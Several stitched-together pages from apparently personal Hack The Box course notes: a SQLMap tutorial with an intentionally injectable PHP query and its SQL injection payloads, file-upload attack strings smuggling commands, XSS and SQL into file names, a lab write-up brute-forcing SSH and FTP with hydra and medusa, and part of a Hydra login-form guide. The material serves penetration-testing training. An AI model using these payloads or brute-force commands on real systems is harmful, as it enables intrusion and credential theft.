`http://www.example.com/vuln.php?id=1`, would look like the following: Getting Started with SQLMap Note: in this case, option '-u' is used to provide the target URL, while the switch '--batch' is used for skipping any required user-input, by automatically choosing using the default option. [PreviousSQLMap Overview](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview) [NextSQLMap Output Description](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/sqlmap-output-description) Last updated 9 months ago * [Getting Started with SQLMap](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap#getting-started-with-sqlmap) * [Basic Scenario](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/sqlmap-overview/getting-started-with-sqlmap#basic-scenario) Copy Code4Christ@htb[/htb]$ sqlmap -hh ___ __H__ ___ ___[)]_____ ___ ___ {1.4.9#stable} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org Usage: python3 sqlmap [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT Connection string for direct database connection -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL -A AGENT, --user.. HTTP User-Agent header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST (e.g. "id=1") --param-del=PARA.. Character used for splitting parameter values (e.g. &) --cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") --cookie-del=COO.. Character used for splitting cookie values (e.g. ;) ...SNIP... Copy $link = mysqli_connect($host, $username, $password, $database, 3306); $sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1"; $result = mysqli_query($link, $sql); if (!$result) die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n"); Copy Code4Christ@htb[/htb]$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch ___ __H__ ___ ___[']_____ ___ ___ {1.4.9} |_ -| . [,] | .'| . | |___|_ [(]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [*] starting @ 22:26:45 /2020-09-09/ [22:26:45] [INFO] testing connection to the target URL [22:26:45] [INFO] testing if the target URL content is stable [22:26:46] [INFO] target URL content is stable [22:26:46] [INFO] testing if GET parameter 'id' is dynamic [22:26:46] [INFO] GET parameter 'id' appears to be dynamic [22:26:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [22:26:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks [22:26:46] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [22:26:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [22:26:46] [WARNING] reflective value(s) found and filtering out [22:26:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther") [22:26:46] [INFO] testing 'Generic inline queries' [22:26:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [22:26:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' ...SNIP... [22:26:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [22:26:46] [INFO] testing 'MySQL inline queries' [22:26:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [22:26:46] [WARNING] time-based comparison requires larger statistical model, please wait........... (done) ...SNIP... [22:26:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [22:26:56] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [22:26:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [22:26:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [22:26:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [22:26:56] [INFO] target URL appears to have 3 columns in query [22:26:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 8814=8814 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: id=1 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1 AND (SELECT 3669 FROM (SELECT(SLEEP(5)))TIxJ) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170706a71,0x554d766a4d694850596b754f6f716250584a6d53485a52474a7979436647576e766a595374436e78,0x71707a7871)-- - --- [22:26:56] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.2.6, Apache 2.2.9 back-end DBMS: MySQL >= 5.0 [22:26:57] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com' [*] ending @ 22:26:57 /2020-09-09/ --- # Other Upload Attacks | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks.md) . * * * In addition to arbitrary file uploads and limited file upload attacks, there are a few other techniques and attacks worth mentioning, as they may become handy in some web penetration tests or bug bounty tests. Let's discuss some of these techniques and when we may use them. * * * ### Injections in File Name[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#injections-in-file-name) A common file upload attack uses a malicious string for the uploaded file name, which may get executed or processed if the uploaded file name is displayed (i.e., reflected) on the page. We can try injecting a command in the file name, and if the web application uses the file name within an OS command, it may lead to a command injection attack. For example, if we name a file `file$(whoami).jpg` or ``file`whoami`.jpg`` or `file.jpg||whoami`, and then the web application attempts to move the uploaded file with an OS command (e.g. `mv file /tmp`), then our file name would inject the `whoami` command, which would get executed, leading to remote code execution. You may refer to the [Command Injections](https://academy.hackthebox.com/module/details/109) module for more information. Similarly, we may use an XSS payload in the file name (e.g. `<script>alert(window.origin);</script>`), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. `file';select+sleep(5);--.jpg`), which may lead to an SQL injection if the file name is insecurely used in an SQL query. * * * ### Upload Directory Disclosure[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#upload-directory-disclosure) In some file upload forms, like a feedback form or a submission form, we may not have access to the link of our uploaded file and may not know the uploads directory. In such cases, we may utilize fuzzing to look for the uploads directory or even use other vulnerabilities (e.g., LFI/XXE) to find where the uploaded files are by reading the web applications source code, as we saw in the previous section. Furthermore, the [Web Attacks/IDOR](https://academy.hackthebox.com/module/details/134) module discusses various methods of finding where files may be stored and identifying the file naming scheme. Another method we can use to disclose the uploads directory is through forcing error messages, as they often reveal helpful information for further exploitation. One attack we can use to cause such errors is uploading a file with a name that already exists or sending two identical requests simultaneously. This may lead the web server to show an error that it could not write the file, which may disclose the uploads directory. We may also try uploading a file with an overly long name (e.g., 5,000 characters). If the web application does not handle this correctly, it may also error out and disclose the upload directory. Similarly, we may try various other techniques to cause the server to error out and disclose the uploads directory, along with additional helpful information. * * * ### Windows-specific Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#windows-specific-attacks) We can also use a few `Windows-Specific` techniques in some of the attacks we discussed in the previous sections. One such attack is using reserved characters, such as (`|`, `<`, `>`, `*`, or `?`), which are usually reserved for special uses like wildcards. If the web application does not properly sanitize these names or wrap them within quotes, they may refer to another file (which may not exist) and cause an error that discloses the upload directory. Similarly, we may use Windows reserved names for the uploaded file name, like (`CON`, `COM1`, `LPT1`, or `NUL`), which may also cause an error as the web application will not be allowed to write a file with this name. Finally, we may utilize the Windows [8.3 Filename Convention](https://en.wikipedia.org/wiki/8.3_filename) to overwrite existing files or refer to files that do not exist. Older versions of Windows were limited to a short length for file names, so they used a Tilde character (`~`) to complete the file name, which we can use to our advantage. For example, to refer to a file called (`hackthebox.txt`) we can use (`HAC~1.TXT`) or (`HAC~2.TXT`), where the digit represents the order of the matching files that start with (`HAC`). As Windows still supports this convention, we can write a file called (e.g. `WEB~1.CON`) to overwrite the `web.conf` file. Similarly, we may write a file that replaces sensitive system files. This attack can lead to several outcomes, like causing information disclosure through errors, causing a DoS on the back-end server, or even accessing private files. * * * ### Advanced File Upload Attacks[](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#advanced-file-upload-attacks) In addition to all of the attacks we have discussed in this module, there are more advanced attacks that can be used with file upload functionalities. Any automatic processing that occurs to an uploaded file, like encoding a video, compressing a file, or renaming a file, may be exploited if not securely coded. Some commonly used libraries may have public exploits for such vulnerabilities, like the AVI upload vulnerability leading to XXE in `ffmpeg`. However, when dealing with custom code and custom libraries, detecting such vulnerabilities requires more advanced knowledge and techniques, which may lead to discovering an advanced file upload vulnerability in some web applications. There are many other advanced file upload vulnerabilities that we did not discuss in this module. Try to read some bug bounty reports to explore more advanced file upload vulnerabilities. [PreviousLimited File Uploads](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/limited-file-uploads) [NextPreventing File Upload Vulnerabilities](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/preventing-file-upload-vulnerabilities) Last updated 9 months ago * [Injections in File Name](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#injections-in-file-name) * [Upload Directory Disclosure](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#upload-directory-disclosure) * [Windows-specific Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#windows-specific-attacks) * [Advanced File Upload Attacks](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/other-upload-attacks/other-upload-attacks#advanced-file-upload-attacks) --- # Re Walk + Write Up | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up.md) . Skills Assessment Part 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2) --------------------------------------------------------------------------------------------------------------------------------------------------------- ### Question 1[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1) #### "What is the username of the ftp user you find via brute-forcing?"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing) After spawning the target, students will download the `2023-200_most_used_passwords.txt` wordlist: Code: shell Copy wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Skills Assessment Part 2 Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Subsequently, students will perform an SSH brute-force using the username `satwossh` and the wordlist with hydra to attain the password of the user: Code: shell Copy hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://STMIP:STMPO Skills Assessment Part 2 Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://94.237.56.229:39400 Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-30 06:33:20 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 200 login tries (l:1/p:200), ~13 tries per task [DATA] attacking ssh://94.237.56.229:39400/ [39400][ssh] host: 94.237.56.229 login: satwossh password: password1 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 2 final worker threads did not complete until end. [ERROR] 2 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-30 06:34:26 Students will connect via SSH using the credentials `satwossh:password1`: Code: shell Skills Assessment Part 2 Subsequently, students will list the files in the current working directory, finding an `IncidentReport.txt` file holding information about a user (`Thomas Smith`): Code: shell Skills Assessment Part 2 Students will utilise `nmap` to scan the host locally and uncover the FTP service running on port `21`: Code: shell Skills Assessment Part 2 Students need to generate potential usernames for `Thomas Smith` using `username-anarchy`: Code: shell Skills Assessment Part 2 Subsequently, students will use `medusa` to perform an FTP brute-force using the previously generated username list and the password list located in the `/home/satwossh` directory to obtain valid credentials: Code: shell Skills Assessment Part 2 Answer: {hidden} Skills Assessment Part 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-1) ----------------------------------------------------------------------------------------------------------------------------------------------------------- ### Question 2[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2) #### "What is the flag contained within flag.txt"[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#what-is-the-flag-contained-within-flag.txt) Students will reuse the previously established SSH session and will connect to the FTP service using the found credentials Code: shell Skills Assessment Part 2 Subsequently, students will list the files in the FTP service, download the `flag.txt` and obtain the flag: Code: shell Skills Assessment Part 2 Answer: {hidden} Here is a clean, professional **write-up for Skills Assessment Part 2 – Questions 1 & 2**, written in the same style as your previous HTB notes and suitable for a PDF or submission. If you want, I can turn this into a **PDF** after you approve. * * * **Skills Assessment Part 2 – Write-Up**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-write-up) --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### **Question 1 – “What is the username of the FTP user you find via brute-forcing?”**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1-what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing) To begin the assessment, I spawned the target machine and downloaded the provided wordlist _2023-200\_most\_used\_passwords.txt_: #### **1\. SSH Password Brute-Force**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-1.-ssh-password-brute-force) The exercise instructions indicated that an SSH user named `satwossh` existed on the target. I performed a password brute-force attack using `hydra`: Hydra returned valid credentials: #### **2\. Accessing the Target**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-2.-accessing-the-target) I connected to the machine using SSH: After logging in, I enumerated the home directory: One key file was discovered: The incident report clearly identified **Thomas Smith** as the suspicious FTP user associated with abnormal activity. #### **3\. Local Port Scan**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-3.-local-port-scan) To verify available local services, I scanned localhost: This revealed: * **FTP on port 21** * **SSH on port 22** #### **4\. Username Generation**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-4.-username-generation) To generate potential FTP usernames for _Thomas Smith_, I used `username-anarchy`: This produced a list of possible username formats such as: * thomas * smith * tsmith * thomass * thomas.smith and many more. #### **5\. FTP Brute-Force with Medusa**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#id-5.-ftp-brute-force-with-medusa) With the list of potential usernames (`thomas_smith.txt`) and the password list (`passwords.txt`) found on the system, I performed a brute-force attack using `medusa`: The attack successfully discovered valid FTP credentials: #### **✔ Answer to Question 1:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#answer-to-question-1) `**thomas**` * * * ### **Question 2 – “What is the flag contained within flag.txt?”**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2-what-is-the-flag-contained-within-flag.txt) Using the credentials discovered in Question 1 (`thomas : chocolate!`), I connected to the FTP service locally: Once authenticated, I listed the available files: The important file present was: I downloaded it using: Then viewed it from within the SSH session: The flag was displayed: #### **✔ Answer to Question 2:**[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#answer-to-question-2) `**{hidden}**` * * * If you want, I can **generate a polished PDF** containing this write-up. [PreviousSkills Assessment 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2) [NextExam Write up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/exam-write-up) Last updated 8 months ago * [Skills Assessment Part 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2) * [Question 1](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1) * [Skills Assessment Part 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-1) * [Question 2](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2) * [Skills Assessment Part 2 – Write-Up](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#skills-assessment-part-2-write-up) * [Question 1 – “What is the username of the FTP user you find via brute-forcing?”](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-1-what-is-the-username-of-the-ftp-user-you-find-via-brute-forcing) * [Question 2 – “What is the flag contained within flag.txt?”](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/skills-assessment-2/re-walk-+-write-up#question-2-what-is-the-flag-contained-within-flag.txt) Copy ssh satwossh@STMIP -p STMPO Copy ┌─[eu-academy-5]─[10.10.14.51]─[htb-ac-8414@htb-guzdqpf4yp]─[~] └──╼ [★]$ ssh satwossh@94.237.56.229 -p 39400 The authenticity of host '[94.237.56.229]:39400 ([94.237.56.229]:39400)' can't be established. ED25519 key fingerprint is SHA256:0ldLAJLTwIrE2wupFhvN1WiHuimct7AF+pBddY5xIi8. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:1: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[94.237.56.229]:39400' (ED25519) to the list of known hosts. satwossh@94.237.56.229's password: Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.1.0-10-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. -bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8) satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ Copy ls cat IncidentReport.txt Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ls IncidentReport.txt passwords.txt username-anarchy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ cat IncidentReport.txt System Logs - Security Report Date: 2024-09-06 Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. This activity requires immediate investigation. All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user’s actions and reviewing any files uploaded to the FTP server. Security Operations Team Copy nmap localhost Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ nmap localhost Starting Nmap 7.80 ( https://nmap.org ) at 2024-09-30 11:37 UTC Nmap scan report for localhost (127.0.0.1) Host is up (0.00011s latency). Other addresses for localhost (not scanned): ::1 Not shown: 998 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh Copy ./username-anarchy/username-anarchy Thomas Smith > thomas_smith.txt Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ./username-anarchy/username-anarchy Thomas Smith > thomas_smith.txt Copy medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND" Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND" ACCOUNT FOUND: [ftp] Host: 127.0.0.1 User: {hidden} Password: chocolate! [SUCCESS] Copy ftp ftp://thomas:chocolate\!@localhost Copy satwossh@ng-8414-loginbfsatwo-pj3oi-5585b5994f-wh46v:~$ ftp ftp://thomas:chocolate\!@localhost Trying [::1]:21 ... Connected to localhost. 220 (vsFTPd 3.0.5) 331 Please specify the password. 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. 200 Switching to Binary mode. ftp> Copy ls get flag.txt !cat flag.txt Copy ftp> ls 229 Entering Extended Passive Mode (|||24566|) 150 Here comes the directory listing. -rw------- 1 1001 1001 28 Sep 10 09:19 flag.txt 226 Directory send OK. ftp> get flag.txt local: flag.txt remote: flag.txt 229 Entering Extended Passive Mode (|||14817|) 150 Opening BINARY mode data connection for flag.txt (28 bytes). 100% |*************************************************************************************************************************************************| 28 739.01 KiB/s 00:00 ETA 226 Transfer complete. 28 bytes received in 00:00 (147.80 KiB/s) ftp> !cat flag.txt {hidden} Copy wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/56a39ab9a70a89b56d66dad8bdffb887fba1260e/Passwords/2023-200_most_used_passwords.txt Copy hydra -l satwossh -P 2023-200_most_used_passwords.txt ssh://94.237.56.229:39400 Copy login: satwossh password: password1 Copy ssh satwossh@94.237.56.229 -p 39400 Copy ls Copy IncidentReport.txt Copy nmap localhost Copy ./username-anarchy/username-anarchy "Thomas Smith" > thomas_smith.txt Copy medusa -h 127.0.0.1 -U thomas_smith.txt -P passwords.txt -M ftp -t 5 | grep "ACCOUNT FOUND" Copy ACCOUNT FOUND: User: thomas Password: chocolate! Copy ftp ftp://thomas:chocolate\!@localhost Copy ls Copy flag.txt Copy get flag.txt Copy !cat flag.txt Copy {hidden} --- # Login Forms | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms.md) . Beyond the realm of Basic HTTP Authentication, many web applications employ custom login forms as their primary authentication mechanism. These forms, while visually diverse, often share common underlying mechanics that make them targets for brute forcing. ### Understanding Login Forms[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#understanding-login-forms) While login forms may appear as simple boxes soliciting your username and password, they represent a complex interplay of client-side and server-side technologies. At their core, login forms are essentially HTML forms embedded within a webpage. These forms typically include input fields (`<input>`) for capturing the username and password, along with a submit button (`<button>` or `<input type="submit">`) to initiate the authentication process. ### A Basic Login Form Example[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#a-basic-login-form-example) Most login forms follow a similar structure. Here's an example: Code: html Copy <form action="/login" method="post"> <label for="username">Username:</label> <input type="text" id="username" name="username"><br><br> <label for="password">Password:</label> <input type="password" id="password" name="password"><br><br> <input type="submit" value="Submit"> </form> This form, when submitted, sends a POST request to the `/login` endpoint on the server, including the entered username and password as form data. Code: http Copy POST /login HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded Content-Length: 29 username=john&password=secret123 * The `POST` method indicates that data is being sent to the server to create or update a resource. * `/login` is the URL endpoint handling the login request. * The `Content-Type` header specifies how the data is encoded in the request body. * The `Content-Length` header indicates the size of the data being sent. * The request body contains the username and password, encoded as key-value pairs. When a user interacts with a login form, their browser handles the initial processing. The browser captures the entered credentials, often employing JavaScript for client-side validation or input sanitization. Upon submission, the browser constructs an HTTP POST request. This request encapsulates the form data—including the username and password—within its body, often encoded as `application/x-www-form-urlencoded` or `multipart/form-data`. ### http-post-form[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#http-post-form) To follow along, start the target system via the question section at the bottom of the page. Hydra's `http-post-form` service is specifically designed to target login forms. It enables the automation of POST requests, dynamically inserting username and password combinations into the request body. By leveraging Hydra's capabilities, attackers can efficiently test numerous credential combinations against a login form, potentially uncovering valid logins. The general structure of a Hydra command using `http-post-form` looks like this: Login Forms #### Understanding the Condition String[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#understanding-the-condition-string) In Hydra’s `http-post-form` module, success and failure conditions are crucial for properly identifying valid and invalid login attempts. Hydra primarily relies on failure conditions (`F=...`) to determine when a login attempt has failed, but you can also specify a success condition (`S=...`) to indicate when a login is successful. The failure condition (`F=...`) is used to check for a specific string in the server's response that signals a failed login attempt. This is the most common approach because many websites return an error message (like "Invalid username or password") when the login fails. For example, if a login form returns the message "Invalid credentials" on a failed attempt, you can configure Hydra like this: Code: bash In this case, Hydra will check each response for the string "Invalid credentials." If it finds this phrase, it will mark the login attempt as a failure and move on to the next username/password pair. This approach is commonly used because failure messages are usually easy to identify. However, sometimes you may not have a clear failure message but instead have a distinct success condition. For instance, if the application redirects the user after a successful login (using HTTP status code `302`), or displays specific content (like "Dashboard" or "Welcome"), you can configure Hydra to look for that success condition using `S=`. Here’s an example where a successful login results in a 302 redirect: Code: bash In this case, Hydra will treat any response that returns an HTTP 302 status code as a successful login. Similarly, if a successful login results in content like "Dashboard" appearing on the page, you can configure Hydra to look for that keyword as a success condition: Code: bash Hydra will now register the login as successful if it finds the word "Dashboard" in the server’s response. Before unleashing Hydra on a login form, it's essential to gather intelligence on its inner workings. This involves pinpointing the exact parameters the form uses to transmit the username and password to the server. #### Manual Inspection[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#manual-inspection) Upon accessing the `IP:PORT` in your browser, a basic login form is presented. Using your browser's developer tools (typically by right-clicking and selecting "Inspect" or a similar option), you can view the underlying HTML code for this form. Let's break down its key components: Code: html The HTML reveals a simple login form. Key points for Hydra: * `Method`: `POST` - Hydra will need to send POST requests to the server. * Fields: * `Username`: The input field named `username` will be targeted. * `Password`: The input field named `password` will be targeted. With these details, you can construct the Hydra command to automate the brute-force attack against this login form. #### Browser Developer Tools[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#browser-developer-tools) After inspecting the form, open your browser's Developer Tools (F12) and navigate to the "Network" tab. Submit a sample login attempt with any credentials. This will allow you to see the POST request sent to the server. In the "Network" tab, find the request corresponding to the form submission and check the form data, headers, and the server’s response. ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2Facademy.hackthebox.com%2Fstorage%2Fmodules%2F57%2Fdevtools.png&width=768&dpr=3&quality=100&sign=9c351df&sv=2) This information further solidifies the information we will need for Hydra. We now have definitive confirmation of both the target path (`/`) and the parameter names (`username` and `password`). #### Proxy Interception[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#proxy-interception) For more complex scenarios, intercepting the network traffic with a proxy tool like Burp Suite or OWASP ZAP can be invaluable. Configure your browser to route its traffic through the proxy, then interact with the login form. The proxy will capture the POST request, allowing you to dissect its every component, including the precise login parameters and their values. ### Constructing the params String for Hydra[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms#constructing-the-params-string-for-hydra) After analyzing the login form's structure and behavior, it's time to build the `params` string, a critical component of Hydra's `http-post-form` attack module. This string encapsulates the data that will be sent to the server with each login attempt, mimicking a legitimate form submission. The `params` string consists of key-value pairs, similar to how data is encoded in a 